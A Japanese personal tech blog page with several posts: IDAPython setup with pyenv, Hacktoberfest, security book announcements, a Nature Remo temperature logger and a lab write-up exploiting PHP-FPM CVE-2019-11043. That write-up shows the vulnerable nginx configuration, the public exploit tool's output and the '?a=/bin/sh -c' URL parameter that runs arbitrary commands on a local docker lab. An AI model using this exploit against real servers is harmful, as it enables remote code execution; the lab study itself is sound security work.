IDAPythonでpyenvでインストールしたPythonを選択する方法
IDAはバージョン7.4からPython3に対応した
IDAは拡張性にすぐれており、IDAPythonという独自拡張されたPythonによるスクリプティング機能を備えています。 最近までPython2系にしか対応していませんでしたが、バージョン7.4からPython3系に対応しました! 普通はIDAのインストーラがインストールされているPythonを見つけていいかんじにセットアップしてくれるのですが、 私の環境ではpyenvを使っているためやってくれませんでした.... その解決方法を紹介します!私はmacOS上にIDAをインストールしているので、 ここでの説明はmacOS向けのものになりますが、他OSでもおそらく手順は変わりません。
idapyswitchコマンドで使うPythonを選択する
インストーラがPythonを見つけてくれなかったり、インストール後に異なるバージョンのPythonに切り替えたかったりしたときは、 idapyswitchコマンドで使用するPythonを後から選択可能です。 idapyswitchコマンドのヘルプに書かれている通り、主な使い方は、 「インストールされているPythonを見つける」、「見つけたPythonを適用する」、「Pythonの動的ライブラリのパスを指定して適用する」の3つです。
$ /Applications/IDA\ Pro\ 7.5/ida64.app/Contents/MacOS/idapyswitch -h (省略) IDA is no exception, and this tool is one such Python3 'switcher'. It can be run in 3 ways: 1) The default, interactive way ------------------------------- > $ idapyswitch will look on the filesystem for available Python3 installations, present the user with a list of found versions (sorted according to preferability), and let the user pick which one IDA should use. 2) The 'automatic' way ---------------------- > $ idapyswitch --auto-apply will look on the filesystem for available Python3 installations, and automatically pick the one it deemed the most preferable. 3) The 'manual' way ------------------- > $ idapyswitch --force-path /path/to/Python.framework/Versions/3.7/Python will pick the path that the user provided. Once a version is picked, this tool will do the following: * patch 'idapython.dylib' and 'idapython64.dylib' so that they refer to the right Python3 dylib.
なぜpyenvでインストールしたPythonを選択できなかったか
pyenvでPythonをインストールした場合、静的ライブラリを使ったものがインストールされますが、 idapyswitchコマンドで指定できるのは、Pythonランタイムの動的ライブラリです。 そのため、インストーラがpyenvでインストールしたPythonを認識できなかったようです。 macOSではotoolコマンドで実行ファイルに動的リンクされたライブラリを確認できます。 pyenvでインストールしたpythonの実行ファイルに対して、otoolコマンドを使うと次のようになります。 Python特有の動的ライブラリは確認できません。
$ otool -L /Users/tkmru/.pyenv/versions/3.8.3/bin/python /Users/tkmru/.pyenv/versions/3.8.3/bin/python: /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 1575.17.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.250.1)
pyenvでPythonをインストールする際に--enable-framework
を指定すると、Pythonランタイムの動的ライブラリが生成されます。
$ env PYTHON_CONFIGURE_OPTS="--enable-framework" pyenv install 3.8.3
otoolで確認すると、Pythonという名前の動的ライブラリが確認できます。 idapyswitchコマンドでこのパスを指定すると、IDAがpyenvでインストールしたPythonを認識してくれます。
$ otool -L /Users/tkmru/.pyenv/versions/3.8.3/bin/python /Users/tkmru/.pyenv/versions/3.8.3/bin/python: /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python (compatibility version 3.8.0, current version 3.8.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.250.1) $ file /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python: Mach-O 64-bit dynamically linked shared library x86_64 $ /Applications/IDA\ Pro\ 7.5/ida64.app/Contents/MacOS/idapyswitch --force-path \ > /Users/tkmru/.pyenv/versions/3.8.3/Python.framework/Versions/3.8/Python
去年、Hacktoberfestに参加してTシャツとステッカーをもらった
Hacktoberfestのときに出したプルリクのひとつが最近マージされて存在を思い出した。 Tシャツとステッカーは1月上旬に来た気がする。
Hacktoberfestとは
HacktoberfestはDigitalOceanとDEVによって毎年10月に行われているイベントです。 1ヶ月の間にプルリクエストを4つ、GitHubのパブリックリポジトリに送ると、先着50,000人にTシャツとステッカーがもらえるナイスなイベントです。
hacktoberfest.digitalocean.com
OSSやっていき〜
任意コード実行が可能なPHP-FPMの脆弱性(CVE-2019-11043)を試してみた
少し前に出たCVE-2019-11043という脆弱性を試してみました。すでに日本語解説記事もありますが備忘録ということで。
脆弱性概要
PHPのFastCGI 実装のひとつの PHP-FPM(FastCGI Process Manager)に任意コード実行が可能な脆弱性(CVE-2019-11043)が見つかりました。NginxとPHP-FPMで構成された環境において以下のような設定がされている場合に任意コード実行が可能でした。
- locationディレクティブでリクエストをPHP-FPMに転送するようになっている
- PATH_INFO変数を割り当てる際にfastcgi_paramディレクティブが使用されている
- fastcgi_split_path_infoディレクティブが存在し、
^
で始まり$
で終わる正規表現が用いられている try_files $uri=404
のようなファイルの有無を判断するためのチェックがない
例を挙げるとNginxに以下のようなconfigが設定され、PHP-FPMにリクエストを転送している場合です。
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
fastcgi_split_path_infoディレクティブに指定されている正規表現が改行コード%0A
を解釈すると、空のPHP_INFOがPHP-FPM
サーバーに送られます。
PHP-FPMがPHP_INFO の値を誤って処理することでバッファアンダーフローが発生し、最終的にPHPの実行環境の変数にリモートコード実行可能な設定を上書きすることができます。
詳しくは発見者がZeroNights2019で発表した以下のスライドを見てください。
https://github.com/neex/phuip-fpizdam/blob/master/ZeroNights2019.pdf
また、この脆弱性の修正コミットはこちらです。 github.com
- 7.1.x 〜 7.1.32
- 7.2.x 〜 7.2.23
- 7.3.x 〜 7.3.11
試してみる
実際に攻撃してみます。
環境
この脆弱性の発見者が作成したphuip-fpizdamというexplotツールと、 vulhubにある検証用のdocker-compose環境を使います。
この検証用のdocker-compose環境はbindingアドレスが0.0.0.0
となっていて、そのまま使うとネットワーク上の他のホストからアクセス可能な検証環境が出来てしまいます。docker-compose.ymlのportsの部分を127.0.0.1
を指定するように変更してから、docker-compose up -d
を実行すると自ホストのみに閉じた検証環境になります。
services: nginx: ... ports: - "127.0.0.1:8080:80" # 変更する行 ...
また、bindingアドレスが変更できているかどうかは、docker ps -a
で確認できます。8080番ポートでNginxサーバーが、9000番ポートでPHPプロセスがそれぞれ待ち受けています。
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e2779ab00718 nginx:1 "nginx -g 'daemon of…" 5 seconds ago Up 4 seconds 127.0.0.1:8080->80/tcp cve-2019-11043_nginx_1 e11c381f541b php:7.2.10-fpm "docker-php-entrypoi…" 6 seconds ago Up 5 seconds 9000/tcp cve-2019-11043_php_1
やる
http://127.0.0.1:8080でhello worldと返すだけの単純なPHPのCGIスクリプトが動いています。
こちらに対して、phuip-fpizdamコマンドを実行してみます。
$ phuip-fpizdam http://127.0.0.1:8080/index.php 2019/12/12 23:28:17 Base status code is 200 2019/12/12 23:28:17 Status code 502 for qsl=1800, adding as a candidate 2019/12/12 23:28:18 The target is probably vulnerable. Possible QSLs: [1790 1795 1800] 2019/12/12 23:28:19 Attack params found: --qsl 1795 --pisos 152 --skip-detect 2019/12/12 23:28:19 Trying to set "session.auto_start=0"... 2019/12/12 23:28:19 Detect() returned attack params: --qsl 1795 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/12/12 23:28:19 Performing attack using php.ini settings... 2019/12/12 23:28:19 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/12/12 23:28:19 Trying to cleanup /tmp/a... 2019/12/12 23:28:19 Done!
Success!と出たので攻撃に成功したようです。Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
とあるので、URLの末尾に?a=コマンド
というふうに付けてあげることで任意のコマンドを指定できるようです。
idコマンドを実行してみると以下のようになりました。
まとめ
簡単に任意のコマンドが実行できてしまう深刻な脆弱性でした。 開発者目線では怖い脆弱性ですが、ペンテスター目線では条件がきびしいものの、カジュアルに攻撃することができて有用な脆弱性だなーと思いました。 OSSに任意コード実行ができる脆弱性を見つけたいものですね。
参考資料
技術書典7で Ghidra Pro Book を頒布します!
技術書典7で Allsafeというサークルから Ghidra Pro Book を頒布します🐲 場所は「お48C」です!
なんと場所は、あのTomoriNaoの横なので2冊いっしょに買えます!!
表紙は IDA Pro Book をリスペクトしたものになっています!
Ghidraの基本的な使い方から、Ghidra Script、Ghidra Extensionの開発方法、実践的なマルウェアの解析方法まで、幅広くカバーしています!
ぼくは、第2章の「Advanced Ghidra Usage」の2割くらいと、第3章の「Extending Ghidra’s Capabilities」の9割くらいを書きました!
有給休暇消化期間を費やして執筆したので、みなさま!ご購入の検討を!!よろしくお願いします!!!
技術書典7で TomoriNao vol.3 を頒布します!!!
前回までのストーリー
今回
技術書典7で TomoriNao vol.3 を頒布します!!! 場所は「お48C」です!!!
TomoriNao is back!
— Team TomoriNao (@TomoriNao_pro) September 15, 2019
9月22日の #技術書典 7 お48C で新刊Vol. 3を頒布します📘
今回も友利奈緒たちがセキュリティな能力を発揮してくれました☄️
サークル詳細はコチラ👉 https://t.co/mmeVufQRCD pic.twitter.com/acZZ9HSCIS
私は、「PHP Object Injection入門」という題で1章書きました。 PHP Object Injectionというのは、シリアライズされたObjectがリクエストのパラメーターにあって攻撃者が細工できる状態だったときに、細工したobjectをWebアプリケーションに渡すことで、任意のPHPコードを実行できるかも!?という攻撃手法です。
みなさま!ご購入の検討を!!よろしくお願いします!!!
ちなみに既刊はKindleで販売しています。
Nature Remo + AWS Lambda + Mackerel で室温を記録してみた
暑くなってきたのでスマートホーム化していきたいなと思い、ひとまずNature RemoのAPIで遊んでみるか〜と、Nature Remo + AWS Lambda + Mackerel で室温を記録していくようにしてみたところ、以下のようなグラフになった。
冷房をかけたときに温度が下がったところ以外は常時27.4度前後で遷移していて、あまり変化がなくおもしろくはないグラフになったが、日中暑いときも全く室温に影響なくて、「鉄筋コンクリート造はさすがだなー!」と思った。 Nature Remoから室温を取得しMackerelにPOSTする関数を、Lambdaにアップロードし、CloudWatch Eventsをトリガーに10分毎に実行している。
コードは以下のようになった。Nature RemoとMackerelにはあんまりいいかんじのAPIクライアントがなさそうだったので、requestsライブラリを使ってがんばってAPIを叩いている。APIトークンは環境変数として出してあるので、コードを貼っても安心。
#!/usr/bin/env python3.7 # coding: UTF-8 import datetime import json import os import requests def get_room_temperature(): headers = { 'accept': 'application/json', 'Authorization': 'Bearer ' + os.environ['REMOTOKEN'], } response = requests.get('https://api.nature.global/1/devices', headers=headers) json = response.json() return json[0]['newest_events']['te']['val'] def post_service_metrics(temperature): headers = { 'accept': 'application/json', 'Content-Type': 'application/json', 'X-Api-Key': os.environ['MACKERELKEY'], } now = datetime.datetime.now() metrics = [ { 'name': 'Temperature.temperature', 'time': int(now.timestamp()), 'value': temperature } ] json.dumps(metrics), response = requests.post('https://api.mackerelio.com/api/v0/services/nature-remo/tsdb', json.dumps(metrics), headers=headers) print(response.json()) def lambda_handler(event, context): temperature = get_room_temperature() post_service_metrics(temperature)
AWS Lambda上で動かす関数で外部ライブラリを使っていた場合、そのライブラリもzipで固めてアップロードしないといけないので少しめんどう。先人のように、Goでやったほうがシングルバイナリになって、アップロードは楽そう。
$ mkdir packages $ cd packages/ $ pip install requests -t . $ zip -r9 ../function.zip . $ zip -g function.zip lambda_function.py
AWS Lambda触ったことなかったので、いい機会になってよかった。1か月に100万件のリクエストまで無料で、今回みたいな10分に1回リクエストを飛ばすくらいだと無料で使えるので、スマートホーム化していくに当たってバンバン活用していきたい。